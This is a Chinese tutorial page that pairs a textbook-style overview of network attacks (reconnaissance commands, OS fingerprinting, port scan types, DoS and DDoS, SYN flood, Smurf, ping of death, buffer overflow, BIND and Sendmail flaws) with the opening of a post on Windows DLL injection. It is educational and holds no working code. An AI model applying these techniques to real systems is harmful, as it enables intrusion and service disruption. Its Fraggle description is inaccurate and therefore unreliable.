精华内容
下载资源
问答
  • 网络安全讲 网络攻击技术分析

    万次阅读 多人点赞 2020-10-24 17:06:30
    网络信息安全网络攻击技术分析 按照攻击目的,可将攻击分为破坏型和入侵型两类型。 破坏型攻击以破坏目标为目的,但攻击者不能随意控制目标系统资源。 入侵型攻击以控制目标为目的,比破坏型攻击威胁更...

    网络信息安全第五讲 网络攻击技术分析

    • 按照攻击目的,可将攻击分为破坏型入侵型两种类型。
    • 破坏型攻击以破坏目标为目的,但攻击者不能随意控制目标的系统资源。
    • 入侵型攻击以控制目标为目的,比破坏型攻击威胁更大,常见的攻击类型多为入侵型攻击。
    • 攻击主要内容

    在这里插入图片描述

    一 网络信息采集

    • 入侵者一般首先通过网络扫描技术进行网络信息采集,获取网络拓扑结构、发现网络漏洞、探查主机基本情况端口开放程度,为实施攻击提供必要的信息。
    • 网络信息采集有多种途径,既可以使用诸如ping、whois等网络测试命令实现,也可以通过漏洞扫描、端口扫描网络窃听工具实现。

    1.常用信息采集命令

    • Ping命令:用于确定本地主机是否能与远程主机交换数据包,通过向目标主机发送ICMP(internet control message protocol,Internet控制报文协议)回应请求来测试目标的可达性。使用ping命令能够察看网络中有哪些主机接入Internet;测试目标主机的计算机名和IP地址;计算到达目标网络所经过的路由数;获得该网段的网络拓扑信息。
    • 推算数据包通过的路由器数:例如,返回TTL值为119,可以推算出TTL初值为128,源地址到目标地址要通过128-119=9个路由器。
    • host命令:host命令是Linux、Unix系统提供的有关Internet域名查询的命令。可以从域中的DNS(domain name server,域名服务器)服务器获得所在域内主机的相关资料,实现主机名到IP地址的映射,得知域中邮件服务器的信息。
    • Traceroute命令:Traceroute命令用于路由跟踪,判断从本地主机到目标主机经过哪些路由器、跳计数、响应时间等。Traceroute程序跟踪的路径是源主机到目的主机的一条路径,但是,不能保证或认为数据包总是遵循这个路径。
    • Nbtstat命令:nbtstat(NBT statistics,NBT统计信息,其中NBT为NetBIOS over TCP/IP)命令是Windows命令,用于查看当前基于网络基本输入输出系统NetBIOS(network basic input output system)的TCP/IP连接状态。通过该工具可以获得远程或本地机器的组名和机器名
    • Net命令:用于检验和核查计算机之间NetBIOS连接的net viewnet use两个命令可能被攻击者利用,来查看局域网内部情况和局域网内部的漏洞。
    • Finger命令:用来查询用户的信息,通常会显示系统中某个用户的用户名、主目录、闲滞时间、登录时间、登录shell等信息。
    • Whois命令:Whois命令是一种Internet的目录服务命令,它提供了在Internet上的一台主机或某个域所有者的信息,包括:管理员姓名、通信地址、电话号码、Email信息、Primary和Secondary域名服务器信息等。
    • Nslookup命令:在Internet中存在许多免费的nslookup服务器,它们提供域名到IP地址的映射服务和IP地址到域名的映射等有关网络信息的服务。通过nslookup攻击者可以在whois命令的基础上获得更多目标网络信息。

    2.漏洞扫描

    • 漏洞是指系统硬件操作系统软件网络协议数据库等在设计上和实现上出现的可以被攻击者利用的错误、缺陷和疏漏。
    • 漏洞扫描程序是用来检测远程或本地主机安全漏洞的工具。
    • 针对扫描对象的不同,漏洞扫描又可分为网络扫描、操作系统扫描、WWW服务扫描、数据库扫描以及无线网络扫描等。
    • 计算机系统漏洞:Windows NT IIS 4.0的ISAPI DLL对输入的URL未做适当的边界检查,如果构造一个超长的URL,可以溢出IIS (inetinfo.exe)的缓冲区,执行我们指定的代码。由于inetinfo.exe是以local system身份启动,溢出后可以直接得到管理员权限。
    • 堆栈指纹扫描:不同操作系统在网络协议上存在差异,可以通过总结操作系统之间的这种差异,编写测试脚本,向目标系统的端口发送各种特殊的数据包,并根据系统对数据包回应的差别来判定目标系统及相关服务。这种利用TCP/IP协议识别不同操作系统和服务种类的技术称为堆栈指纹扫描技术。
    • 常用堆栈指纹扫描技术
      在这里插入图片描述
    1. ICMP错误消息抑制机制:在RFC1812关于IPv4路由的规定中,对ICMP的错误类型信息的发送频率作了限制,不同操作系统对这种限制的策略不同。攻击者可以向某个随机的高端UDP端口发送成批的数据包,并计算接收到的目标不可达数据包的数量,来判断操作系统类别。这种探测操作系统的方法需要的时间较长,并且对网络性能会造成一定的影响。
    2. ICMP错误消息引用机制:对于端口不可达信息,几乎所有操作系统都使用了规范的ICMP错误信息格式,即回送一个IP请求头加8字节长度的包,Solaris和Linux返回的数据包大于这个长度。据此可猜测目标主机是否使用Linux或Solaris操作系统。
    3. ICMP错误消息回文完整性:当返回端口不可达数据包时,某些操作系统在初始化处理过程中会弄乱返回数据包的包头,这样接收到的数据包中会出现不正常的数据。由于TTL值的改变导致校验和需要修改时,AIX、FreeBSD等操作系统将返回不正确的校验和或设置校验和为0。
    4. FIN探查:FIN探查不遵循完整的三次握手连接,而是直接向目标端口发送一个带有FIN标记的TCP数据包。根据RFC793中的TCP连接状态图(事件处理) :当处于关闭、监听、请求同步状态时,如果接收到FIN数据包,则丢弃该包并返回原状态。但MS Windows、BSDi、HP-UX、MVS、IRIX等操作系统并不遵守这个规定,而会使用RESET响应这个FIN数据包。据此,可粗略推断目标主机使用的操作系统类别。
    5. TCP ISN采样:TCP初始序列号ISN(initial sequence numbe)采样是利用TCP协议中初始序列号长度与特定的操作系统相匹配的方法。较早的Unix版本在处理TCP协议时,初始序列号长度为64K;Solaris、IRIX、FreeBSD、DigitalUnix、Cray等操作系统,则使用随机增长的长度;Windows操作系统的序列号长度使用依赖时间的模型,使ISN在每个时间周期递增一个小的固定数值;有一些设备则使用固定的常数,如3Com的集线器使用常数0x803H,Apple LaserWriter打印机使用常数0xc7001。有经验的攻击者甚至可以通过计算有关序列号的函数,来进一步识别操作系统类别。
    6. TCP初始窗口:TCP使用滑动窗口为两台主机间传送缓冲数据。每台主机支持两个滑动窗口,一个接收数据,另一个发送数据。窗口尺寸表示计算机可以缓冲的数据量大小。通过在初始化三次握手后检查返回的TCP包窗口大小和改变大小的规律,可识别某些操作系统的类型。
    7. TCP选项: 并不是所有的操作系统都支持TCP包中的所有选项,可以设计TCP包内容和类型,探测目标操作系统类别。可以向目标主机发送带有可选项标记的数据包,如果操作系统支持这些选项,会在返回包中也设置这些标记。使用TCP选项方法,可以一次在数据包中设置多个可选项,增加探测的准确度,节约探测时间。
    8. MSS选项:根据RFC793有关TCP头格式的资料,MSS(maximum segment size最大数据段大小)规定了发送方可以接收的最大的TCP分片。但不同的操作系统的MSS值略有不同,绝大多数系统使用1460大小的MSS,NOVELL使用的是1368,而部分FreeBSD的版本使用512大小的MSS。
    9. IP协议包头不可分片位:IP协议包头内有一段3位的标志位,其中第一个控制位指定数据包是否被分片。根据RFC1191,当使用路径MTU(maximum transmission unit,最大传输单元)发现技术查询PMTU(path MTU),以确定传输路径上的最小MTU时,所有TCP数据包必须设置DF位(don’t fragment不可分片),但FreeBSD 5.0-CURRENT版本存在缺陷,在SYN-ACK包中没有设置DF位,攻击者可以通过连接服务器并截获网络通信数据判别是否是FreeBSD 5.0-CURRENT系统。
    10. 服务类型TOS:IP包头有8位服务类型字段,用来规定数据包的处理方式,其中包括3位的优先域(precedence field),用来指定IP数据包的8个优先级别;4位的服务类型域(type of service),用来描述网络在路由IP数据包时如何平衡吞吐率、延时、可靠性和代价;和MBZ(must be zero)域。当一个MBZ为1的ICMP请求数据包到达目标主机时,FreeBSD 4.1.1送回的应答数据包中MBZ为1,而Windows 2000 Pro送回的应答数据包中MBZ为0。

    3.端口扫描

    • 计算机的端口是输入/输出设备和CPU之间进行数据传输的通道。
    • 通过端口扫描,可以发现打开或正在监听的端口,一个打开的端口就是一个潜在的入侵通道。
    • 每一台计算机都有65536个端口可供使用。
    • 前1024个端口被作为系统处理的端口而保留 ,并向外界的请求提供众所周知的服务,所以这些端口被攻击者视为重点检查对象,以减少扫描范围,缩短扫描时间。
    1. TCP端口扫描:向目标主机的指定端口建立一个TCP全连接过程,即完成三次握手过程,从而确定目标端口是否已激活或正在监听。这是一种最基本的,也是最简单的扫描方式。但通常也会留下日志,易被发现
    2. TCP SYN扫描:向目标端口发送一个SYN数据包,如果应答是RST,说明端口是关闭的;如果应答中包含SYN和ACK,说明目标端口处于监听状态。使用SYN扫描并不完成三次握手过程,所以这种技术通常被称为半连接扫描。由于很少有站点会记录这种连接,所以SYN扫描也被称为半公开或秘密扫描
    3. TCP FIN扫描:对于一些操作系统,当FIN数据包到达一个关闭的端口时,会返回一个RST数据包;当端口开放时,这种数据包被忽略,不作任何应答,从而可以判断端口状态。防火墙和包过滤器会监视SYN数据包,而使用FIN数据包有时能够穿过防火墙和包过滤器,所以,这种方法较SYN扫描更为隐蔽
    4. NULL扫描:发送一个没有任何标志的TCP包到目标端口,称为NULL扫描。根据RFC 793中的连接状态图和规定,如果目标端口是关闭状态,应该返回一个RST数据包。
    5. Xmas tree扫描(圣诞树扫描):向目标端口发送一个标记为FIN、URG和PUSH数据包。根据RFC793,如果目端口是关闭状态,那么应该返回一个RST数据包。
    6. UDP扫描:按照UDP协议,当UDP数据包到达目标端口时,无论该端口是否开放,目标主机都不作任何应答,即打开的端口不会回送确认数据包、关闭的端口不会回送错误数据包。这给UDP扫描带来一定困难,但是,当数据包到达一个关闭的端口时,大部分主机会返回一个ICMP_PORT_UNREACH的错误信息数据包,据此可以判定该端口是关闭的,除此之外的其他端口是打开的。

    4.网络窃听

    在这里插入图片描述

    • 无线网络通信安全:无线网络通信相对于有线网络通信有更多的漏洞,由于无线网络固有的特点和无线网络技术本身的不成熟,如加密机制不完善缺乏数据保护安全认证机制,使得对于无线网络的探测更为简单。现有的工具,如:Network Associates公司的SnifferAirsnortWEPCrack等都可以用来实现对无线网络的网络监控和窃听。

    5.典型信息采集工具

    • nmap扫描器:nmap是当前最流行的扫描器之一,能够在全网络范围内实现ping扫描、端口扫描和操作系统检测。nmap使用操作系统堆栈指纹技术。nmap可以准确地扫描主流操作系统,还可以扫描路由器和拨号设备,还可以绕过防火墙。
    • Axcet NetRecon扫描器:能够发现、分析、报告网络的各种设备,检测它们存在的漏洞。能够扫描多种操作系统,包括Unix、Linux、Windows以及NetWare等。提供对服务器、防火墙、路由器、集线器、交换机、DNS服务器、网络打印机、Web服务器以及其他网络服务设备的测试。通过模拟入侵或攻击行为,找出并报告网络弱点,提出建议和修正措施。
    • ping Pro扫描器:以图形方式实现了大多数命令行程序功能,为网络扫描提供了方便。ping Pro可以侦查出网络上开启的端口,通过监测远程过程调用服务所使用的TCP、UDP135端口和网络会话所使用的UDP137、138和139端口来实现扫描。ping Pro只能工作在其所在网段上。
    • ISS Internet Scanner扫描器:ISS Internet Scanner可以跨网段扫描远程主机,可以检查出内部网、防火墙、Web服务器或某台主机所存在的漏洞和潜在的攻击威胁。ISS Ineternet Scanner工作于Unix和NT平台,分为三个模块:内部网、防火墙和Web服务器,可以针对不同的扫描对象制定不同的扫描方案,从而更直接的发现重要设备中潜在的隐患,在不同的模块中,用户还可以进一步定义自己的扫描参数。

    二 拒绝服务攻击

    • 拒绝服务DoS(denial of service)攻击是常用的一种攻击方式。DoS通过抢占目标主机系统资源使系统过载或崩溃,破坏和拒绝合法用户对网络、服务器等资源的访问,达到阻止合法用户使用系统的目的。
    • DoS属于破坏型攻击。*DoS对目标系统本身的破坏性并不是很大,但影响了正常的工作和生活秩序,间接损失严重,社会效应恶劣。

    1.基本的拒绝服务攻击

    • 当一个授权实体不能获得对网络资源的访问或当访问操作被严重推迟时,就称为DoS。DoS可能由网络部件的物理损坏引起,也可能由网络负荷超载所引起,还可能由不正确的使用网络协议而引起。DoS攻击有两种基本形式:目标资源匮乏型网络带宽消耗型
    • 目标资源匮乏型攻击又可分为服务过载消息流两种。
    • 服务过载指的是向目标主机的服务守护进程发送大量的服务,造成目标主机服务进程发生服务过载,拒绝向合法用户的正常使用要求提供应有的服务。
    • 消息流指攻击者向目标主机发送大量的畸形数据包,使得目标主机在重组数据包过程中发生错误,从而延缓目标主机的处理速度,阻止处理正常的事务,严重时可以造成目标主机死机。
    • 网络带宽消耗型攻击的目标是整个网络,攻击使目标网络中充斥着大量无用的、假的数据包,而使正常的数据包得不到正常的处理。
    • 拒绝服务攻击发生时的特点
    1. 消耗系统或网络资源,使系统过载或崩溃。
    2. 难以辨别真假。
    3. 使用不应存在的非法数据包来达到拒绝服务攻击的目的。
    4. 有大量的数据包来自相同的源。

    2.分布式拒绝服务攻击

    • 分布式拒绝服务DDoS(Distributed Denial of Service)攻击是一种基于DoS的特殊形式的拒绝服务攻击。是分布式的、协作的大规模攻击方式,较DoS具有更大的破坏性。
    • 分布式拒绝服务攻击的步骤:要构建DDoS攻击体系,集合众多的傀儡机进行协同工作,与入侵单台主机相比DDoS攻击要复杂得多。进行DDoS攻击的基本步骤如下:
      1. 搜集目标情况
      2. 占领傀儡机
      3. 实施攻击

    三 漏洞攻击

    • 由于应用软件和操作系统的复杂性和多样性,使得在网络信息系统的软件中存在着不易被发现的安全漏洞;现有网络技术本身存在着许多不安全性,如TCP/IP协议在设计初期并没有考虑安全性问题,其本身就有许多不完善之处。对于网络设计和管理人员而言,不合理的网络拓扑结构和不严谨的网络配置,都将不可避免的造成网络中的漏洞。对于一个复杂系统而言,漏洞的存在是不可避免的。

    1.配置漏洞攻击

    • 配置漏洞可分为系统配置漏洞网络结构配置漏洞
    • 系统配置漏洞多源于管理员的疏漏,如:共享文件配置漏洞、服务器参数配置漏洞等。
    • 网络结构配置漏洞多与网络拓扑结构有关,例如:将重要的服务设备与一般用户设备设置与同一网段,为攻击者提供了更多的可乘之机,埋下了安全隐患。
    1. 默认配置漏洞:操作系统和服务应用程序在安装时使用默认的设置,虽然方便了系统的安装过程,但默认参数实际上为攻击者留下了后门。如默认用户名和口令、默认端口和默认服务,通常都是首选的突破口和入侵点。默认的目录路径则为攻击者查找机要文件,放置后门程序提供了方便。
    2. 共享文件配置漏洞:大部分操作系统都提供了文件共享机制,方便网络资源的共享。但是共享配置不当就会暴露重要文件,攻击者能够轻易的获得机密资料。
    3. 匿名FTP:匿名FTP网络服务允许任何网络用户通过FTP访问服务器系统上指定的资源,但不适当的FTP配置,将会造成服务器系统非授权资源的泄漏。一般的匿名FTP的权限都是只读权限,即不允许匿名用户在服务器上创建文件和目录。否则,攻击者可很容易的放置木马程序,设置系统后门,为进一步的攻击提供便捷。
    4. wu-ftpd:作为FTP服务程序的wu-ftpd(Washington university FTP server daemon,华盛顿大学FTP服务器守护程序)中存在的漏洞,可以使攻击者由系统的任何账号获得root权限。

    2.协议漏洞攻击

    • Internet上现有的大部分协议在设计之初并没有考虑安全因素,使得攻击者可以利用协议固有的漏洞对目标进行攻击。操作系统在设计处理TCP/IP协议时,并没有预计到要处理非法数据包,当这种不应存在的特殊数据包出现时,许多系统会发生处理速度缓慢、停止响应和系统崩溃等不正常现象。
    1. SYN Flood攻击:SYN Flood攻击利用的是TCP协议的设计漏洞。假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的。在这种情况下服务器端会重试,再次发送SYN+ACK给客户端,并等待一段时间,判定无法建立连接后,丢弃这个未完成的连接。这段等待时间称为SYN中止时间(Timeout),一般为30秒–2分钟。如果攻击者大量模拟这种情况,服务器端为了维护非常大的半连接列表就会消耗非常多的资源。此时从正常客户的角度来看,服务器已经丧失了对正常访问的响应,这便是SYN Flood攻击的机理。
    2. 循环攻击(UDP flood攻击):循环攻击利用的是UDP协议漏洞。

    在这里插入图片描述

    1. Land攻击:Land攻击的特征是IP协议中IP源地址和目标地址相同。操作系统如Window NT不知道该如何处理这种情况,就可能造成死机。
      在这里插入图片描述

    2. Smurf攻击:IP协议规定主机号为全1的地址为该网段的广播地址,路由器会把这样的数据包广播给该网络上的所有主机。Smurf攻击利用了广播数据包,可以将一个数据包“放大”为多个。攻击者伪装某源地址向一个网络广播地址发送一组ICMP回应请求数据包,这些数据包被转发到目标子网的所有主机上。由于Smurf攻击发出的是ICMP回应请求,因此所有接收到该广播包的主机将向被伪装的源地址发回ICMP回应应答。攻击者通过几百个数据包就可以产生成千上万的数据包,这样不仅可以造成目标主机的拒绝服务,而且还会使目标子网的网络本身也遭到DoS攻击。

    3. WinNuke攻击:操作系统在设计处理TCP数据包时,都严格遵循了TCP状态机,但遇到不符合状态机的数据包时,若不知所措,就可能造成死机。WinNuke攻击首先发送一个设置了URG标志的TCP数据包,当操作系统接收到这样的数据包时,说明有紧急情况发生,并且,操作系统要求得到进一步的数据,以说明具体情况。此时,攻击者发送一个RST数据包,构造了TCP状态机中不会出现的数据包,若操作系统(如未打补丁的Windows NT)不能正确处理,就会死机,使连接异常终止,服务中断。

    4. Fraggle攻击:Fraggle攻击发送畸形UDP碎片,使得被攻击者在重组过程中发生未加预料的错误,导致系统崩溃。典型的Fraggle攻击使用的技术有:碎片偏移位的错乱强制发送超大数据包等。例如:一个长为40字节的数据在发送时被分为两段,包含第一段数据的数据包发送了数据036字节,包含第二段数据的数据包在正常情况下应该是3740的4个字节,但攻击者构造并指定第二个数据包中包含第二段数据且为数据的24–27字节来迷惑操作系统,导致系统崩溃。

    5. Ping to death攻击:根据有关IP协议规定的RFC791,占有16位的总长度控制字确定了IP包的总长度为65535字节,其中包括IP数据包的包头长度。Ping to death攻击发送超大尺寸的ICMP数据包,使得封装该ICMP数据包的IP数据包大于65535字节,目标主机无法重新组装这种数据包分片,可能造成缓冲区溢出、系统崩溃。

    3.程序漏洞攻击

    • 由于编写程序的复杂性和程序运行环境的不可预见性,使得程序难免存在漏洞。程序漏洞攻击成为攻击者非法获得目标主机控制权的主要手段
    1. 缓冲区溢出攻击的原理:缓冲区溢出攻击是利用系统、服务、应用程序中存在的漏洞,通过恶意填写内存区域,使内存区域溢出,导致应用程序、服务甚至系统崩溃,无法提供应有的服务来实现攻击目的。不检测边界是造成缓冲区溢出的主要原因。UNIX主要设计语言是C语言,而C语言缺乏边界检测,若不检查数组的越界访问,就会留下基于堆栈攻击的隐患。UNIX进程在内存中分为正文段、数据段和堆栈段。堆栈段用于为动态变量分配空间和临时保存函数调用的参数和返回地址。动态分配是UNIX程序采用的主要方法,但是,若动态变量从栈中分配空间时没有作边界检查,则可能发生缓冲区溢出,造成段越界。
    2. BIND漏洞攻击:运行在DNS服务器上的BIND(Berkeley internet name domain,Berkeley internet名字域)DNS服务器软件是最易遭受攻击的软件之一。BIND存在的脆弱性可以对系统造成根级的安全威胁。如BIND 8.2版本存在漏洞,攻击者伪装成DNS服务器,发送一个大的NXT记录(next,域中不存在的名字被标定为NXT类型),并在记录中包含攻击代码,使存在漏洞的DNS服务器缓冲区溢出,从而获得root权限。
    3. Finger漏洞攻击:Solaris自带的Finger服务器存在如下一些漏洞:当攻击者在向Finger服务器提交以数字做用户名的询问请求时,Finger服务器会把日志文件wtmp(wtmp一个用户每次登录和退出时间的记录)中所有的用户名返回给攻击者。当攻击者对服务器进行finger查询时,如果询问一个不存在的用户,服务器会返回一个带“.”的回答,这可能造成攻击者用暴力法判断系统上存在的用户。
    4. Sendmail漏洞攻击:在旧版本的sendmail中,为解决反向编码的问题,数据库中包含一个decode入口,这个UNIX程序可以将一个以纯文本编码的二进制文件,转化为原有的二进制的形式和名字。反向编码完全尊重被编码的文件,例如当一个名为bar.uu的文件声称其原始文件是/home/foo/.rhosts时,则反编码程序将试图转化bar.uu文件为foo下的.rhosts文件。一般情况下sendmail将undecode作为半特权用户后台程序运行,所以email发出的编码文件不会覆盖任何系统文件。但是,如果目标程序是全局可写的,那么编码程序允许远程用户修改这些文件,使攻击者可以放置木马,留下后门,达到攻击目的。
    展开全文
  • 1、几种常见的网络攻击 ................................................................................................. 4 二、IPSec概述 ...................................................................
  • 从这篇文章开始,作者将带着...第二篇文章主要介绍4种常见的注入技术,包括全局钩子、远线程钩子、突破SESSION 0隔离的远线程注入、APC注入,案例包括键盘钩子、计算器远线程注入实现、APC注入等,希望对您有所帮助。

    从这篇文章开始,作者将带着大家来学习《Windows黑客编程技术详解》,其作者是甘迪文老师,推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享,并且会进一步补充知识点,希望对您有所帮助。第二篇文章主要介绍4种常见的注入技术,包括全局钩子、远线程钩子、突破SESSION 0隔离的远线程注入、APC注入,案例包括键盘钩子、计算器远线程注入实现、APC注入等,希望对您有所帮助。

    为了方便对目标进程空间数据进行修改,或者戴上目标进程的“面具”进行伪装,病毒木马需要将执行的Shellcode或者DLL注入到目标进程中去执行,其中DLL注入最为普遍。

    这是因为DLL不需要像Shellcode那样要获取kernel32.dll加载基址并根据导出表获取导出函数地址。若DLL成功注入,则表示DLL已成功加载到目标进程空间中,其导入表、导出表、重定位表等均已加载和修改完毕,DLL中的代码可以正常执行。正是由于DLL的简单易用,才使得DLL注入成为病毒木马的常用注入技术。

    • 全局钩子: 利用全局钩子的机制
    • 远线程钩子: 利用CreateRemoteThread 和 LoadLibrary函数参数的相似性
    • 突破SESSION 0隔离的远线程注入: 利用ZwCreateThreadEx函数的底层性
    • APC注入: 利用APC的机制

    在这里插入图片描述


    PS:本文主要参考甘迪文老师的《Windows黑客编程技术详解》书籍,并结合自己的经验、网络资料和实践进行撰写,也推荐大家阅读参考文献。

    作者的github资源:
    软件安全:https://github.com/eastmountyxz/Software-Security-Course
    其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp


    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
    [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
    [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
    [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
    [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
    [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
    [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
    [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
    [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
    [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
    [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
    [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
    [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
    [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
    [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
    [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
    [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
    [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
    [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
    [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
    [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
    [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
    [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
    [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
    [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
    [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
    [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
    [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
    [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
    [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
    [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
    [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
    [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
    [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
    [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
    [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
    [网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
    [网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
    [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
    [网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
    [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
    [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
    [网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
    [网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
    [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
    [网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
    [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
    [网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
    [网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结
    [网络安全自学篇] 八十四.《Windows黑客编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解(1)


    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



    一.全局钩子注入

    Windows系统中,大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。Windows操作系统提供的钩子机制就是用来截获和监控系统中这些消息的。

    按照钩子作用的范围不同,它们分为局部钩子和全局钩子。

